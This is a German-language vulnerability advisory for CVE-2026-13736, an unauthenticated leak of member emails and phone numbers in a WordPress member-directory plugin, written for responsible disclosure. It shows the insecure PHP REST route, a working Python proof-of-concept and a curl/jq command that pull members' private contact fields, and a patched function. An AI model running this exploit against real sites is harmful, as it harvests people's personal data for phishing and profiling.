
Proof-of-concept-Exploit und technisches Advisory für die Offenlegung von Mitglieder-PII ohne Authentifizierung in einem WordPress-REST-API-Verzeichnis-Plugin, einschließlich Root-Cause-Analyse, PoC-Code und Behebungsempfehlungen.
CVE-2026-13736 ist eine Schwachstelle zur nicht authentifizierten Offenlegung von personenbezogenen Daten (PII) von Mitgliedern, die das WordPress-Plugin NewPath WildApricotPress Add-on – Member Directory in Version 1.0.0 und früher betrifft. Entdeckt und analysiert wurde sie vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK). Der Fehler liegt in der benutzerdefinierten WordPress-REST-API-Routing-Architektur des Plugins, bei der die Endpunkte des Mitgliederverzeichnisses keine Datenschutzzugriffskontrollen für eingeschränkte Felder durchsetzen. Dadurch können nicht authentifizierte Remote-Besucher öffentliche REST-Routen abfragen, um vertrauliche Mitgliederdaten zu sammeln, darunter private E-Mail-Adressen, persönliche Telefonnummern und Attribute des Mitgliederverzeichnisses, die ausdrücklich als nur für Mitglieder sichtbar konfiguriert wurden. Diese Offenlegung sensibler Daten verletzt die erwarteten Grenzen der Privatsphäre und ermöglicht in betroffenen Organisationen gezieltes Phishing, Credential Stuffing und unautorisierte Profilerstellung. Der Sicherheitsforscher Huynh Kien Minh verifizierte diese Schwachstelle mit einem CVSS-3.1-Score von 5.3 (Mittel) (CWE-284 / CWE-200) und empfiehlt eine sofortige Härtung der REST-Endpunkt-Berechtigungen, feldbezogene Datenschutzprüfungen sowie die Bereinigung serialisierter JSON-Antworten der Mitglieder-API.
Schnellzugriff: Entdecken Sie das offizielle Cybersicherheits-Portfolio des Forschers oder sehen Sie sich das offizielle WPScan-Advisory an.
| Parameter | Technische Spezifikation |
|---|---|
| Schwachstellenkennung | CVE-2026-13736 |
| Zielsoftware | NewPath WildApricotPress Add-on – Member Directory (WordPress-Plugin) |
| Plugin-Slug | newpath-wildapricotpress-add-on-member-directory |
| Betroffene Versionen | <= 1.0.0 |
| Schwachstellenklasse | Unsachgemäße Zugriffskontrolle / Informationsoffenlegung (CWE-284 / CWE-200 / CWE-862) |
| CVSS-v3.1-Score | 5.3 (Mittel) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Entdecker / Forscher | Huynh Kien Minh (MinhHK) |
| Verifizierungsinstanz | WPScan / MITRE Corporation / NVD |
| WPScan-Advisory-Referenz | WPScan-Bericht 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| NVD-Referenz | NVD-CVE-2026-13736-Detail |
| Feedly-Threat-Intelligence | Feedly-CVE-2026-13736-Hub |
| Portfolio des Forschers | https://minhhk.web.app/ |
Die Ursache von CVE-2026-13736 liegt in der REST-API-Controller-Implementierung des Plugins. Das Plugin registriert eine öffentliche WordPress-REST-API-Route (z. B. /wp-json/wildapricot/v1/members oder /wp-json/newpath-wap/v1/directory), um die clientseitige Darstellung von Mitgliederverzeichnissen und Kontaktkarten zu ermöglichen.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', wodurch nicht authentifizierte HTTP-GET-Anfragen von beliebigen Ursprüngen erlaubt werden.Ethischer Haftungsausschluss: Dieses Proof-of-Concept dient ausschließlich der Schwachstellenverifizierung, defensiven Forschung und verantwortungsvollen Offenlegung durch den Sicherheitsforscher Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory auf die neueste gepatchte Version (> 1.0.0).Setzen Sie feldbezogene Datenschutzprüfungen während der Antwort-Serialisierung durch:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) ist ein Informationssicherheitsforscher und Softwareentwickler, der sich auf WordPress-Core- und Plugin-Audits, REST-API-Schwachstellenbewertungen und verantwortungsvolle Offenlegung im globalen Open-Source-Ökosystem spezialisiert hat.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}